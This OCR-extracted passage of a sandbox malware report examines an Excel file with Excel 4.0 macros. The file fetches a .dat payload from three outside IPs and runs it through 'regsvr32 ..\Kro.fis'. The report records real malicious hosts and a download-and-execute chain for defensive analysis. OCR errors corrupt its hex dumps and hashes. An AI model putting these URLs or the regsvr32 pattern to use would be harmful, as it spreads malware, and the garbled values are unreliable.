fceb07823442eccaed6727b3c780fc7fbed475¢c15ac7131
€7921505060b475d511e928¢312d22980e40ebf12506d0
5308b55cc9fcObc1509b244b435920fdc2e

3072:SmKZQmKZ3KNhPQNnVbJ201gZMys2g4D5JhoD
4Z0YJ:p4AP4346PgZw9gQavd

PK..... ....[Content_Types].xml ...(....
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Indicators
Contains ObjectPool Stream:
Flash Objects Count:

Contains VBA Macros:

Macro 4.0 Code

Network Behavior

Snort IDS Alerts

Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP

06/25/21- TCP 1201  ATTACK-RESPONSES 403 Forbidden 80 49167 185.240.103.219 192.168.2.22
14:07:18.214699

06/25/21- TCP 1201  ATTACK-RESPONSES 403 Forbidden 80 49168 190.14.37.3 192.168.2.22
14:07:19.251378

06/25/21- TCP 1201  ATTACK-RESPONSES 403 Forbidden 80 49169 185.183.99.120 192.168.2.22
14:07:19.648943

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

e 185.240.103.219

e 190.14.37.3

e 185.183.99.120

HTTP Packets

Session ID Source IP Source Port Destination IP  Destination Port Process

0 192.168.2.22 49167 185.240.103.219 80 C:\Program Files\Microsoft Office\Office L4\ EXCEL.EXE
kBytes

Timestamp transferred Direction Data

Jun 25, 2021 0 ouT GET /44372.5879460648.dat HTTP/1.1

14:07:18.124540091 CEST Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 185.240.103.219

Connection: Keep-Alive

Copyright Joe Security LLC 2021 Page 14 of 18



kBytes
Timestamp transferred

Jun 25, 2021 1
14:07:18.214699030 CEST

Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Jun 25, 2021 1

14:07:18.454245090 CEST

Jun 25, 2021 2
14:07:19.251378059 CEST

Session ID Source IP

2 192.168.2.22
kBytes

Timestamp transferred

Jun 25, 2021 3

14:07:19.345586061 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49168

Direction

ouT

Source Port
49169

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Server: nginx

Date: Fri, 25 Jun 2021 12:07:18 GMT

Content-Type: text/html

Content-Length: 548

Connection: keep-alive

Data Raw: 3c 68 74 6d 6¢ 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64
64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6€ 64 6C 79
2065 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6 20 64 69 73 61
62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20
2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64
20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20
70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6
e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3¢ 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64
69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61
67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20
61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disab
le MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to
disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a
padding to disable MSIE and Chrome friendly error page -->

Destination IP Destination Port Process

190.14.37.3 80 C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Data

GET /44372.5879460648.dat HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 190.14.37.3

Connection: Keep-Alive

HTTP/1.1 403 Forbidden

Server: nginx

Date: Fri, 25 Jun 2021 12:07:19 GMT

Content-Type: text/html

Content-Length: 548

Connection: keep-alive

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa 3¢ 21 2d 2d 20 61 20 70 61 64
64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6€ 64 6C 79
2065 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61
62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20
2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64
20 43 68 72 6f 6d 65 20 66 72 69 65 6€ 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20
70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6€ 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6
e 64 6¢c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64
69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61
67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20
61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disab
le MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to
disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a
padding to disable MSIE and Chrome friendly error page -->

Destination IP Destination Port Process
185.183.99.120 80 C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Data

GET /44372.5879460648.dat HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 185.183.99.120

Connection: Keep-Alive
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kBytes

Timestamp transferred Direction Data
Jun 25, 2021 4 IN HTTP/1.1 403 Forbidden
14:07:19.648942947 CEST Server: nginx

Date: Fri, 25 Jun 2021 12:07:34 GMT

Content-Type: text/html

Content-Length: 548

Connection: keep-alive

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa 3¢ 21 2d 2d 20 61 20 70 61 64
64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6C 79
2065 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61
62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20
2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64
20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20
70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6
e 64 6¢c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64
69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61
67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20
61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disab
le MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to
disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a
padding to disable MSIE and Chrome friendly error page -->

Code Manipulations

Statistics

Behavior

)

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2492 Parent PID: 584

General

Start time: 14:06:35

Start date: 25/06/2021

Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding

Imagebase: 0x13fc50000

File size: 27641504 bytes

MD5 hash: 5FBOAOF93382ECD19F5F499A5CAAS59F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Created
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File Deleted

File Moved

File Written

File Read

Registry Activities

Key Created

Key Value Created

Show Windows behavior

Analysis Process: regsvr32.exe PID: 1980 Parent PID: 2492

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

14:06:40

25/06/2021
C:\Windows\System32\regsvr32.exe

false

regsvr32 ..\Kro.fis

0xffa70000

19456 bytes
59BCE9F07985F8A4204F4D6554CFF708
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: regsvr32.exe PID: 3032 Parent PID: 2492

General

Start time: 14:06:40

Start date: 25/06/2021

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

false

regsvr32 ..\Kro.fisl

0xffa70000

19456 bytes
59BCE9F07985F8A4204F4AD6554CFF708
true

true

C, C++ or other language

high

Show Windows behavior

Analysis Process: regsvr32.exe PID: 2244 Parent PID: 2492

General

Copyright Joe Security LLC 2021
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

14:06:41

25/06/2021
C:\Windows\System32\regsvr32.exe
false

regsvr32 ..\Kro.fis2

0xffa70000

19456 bytes
59BCE9F07985F8A4204F4D6554CFF708
true

true

C, C++ or other language

high

Show Windows behavior

Joe Sandbox Cloud Basic 32.0.0 Black Diamond
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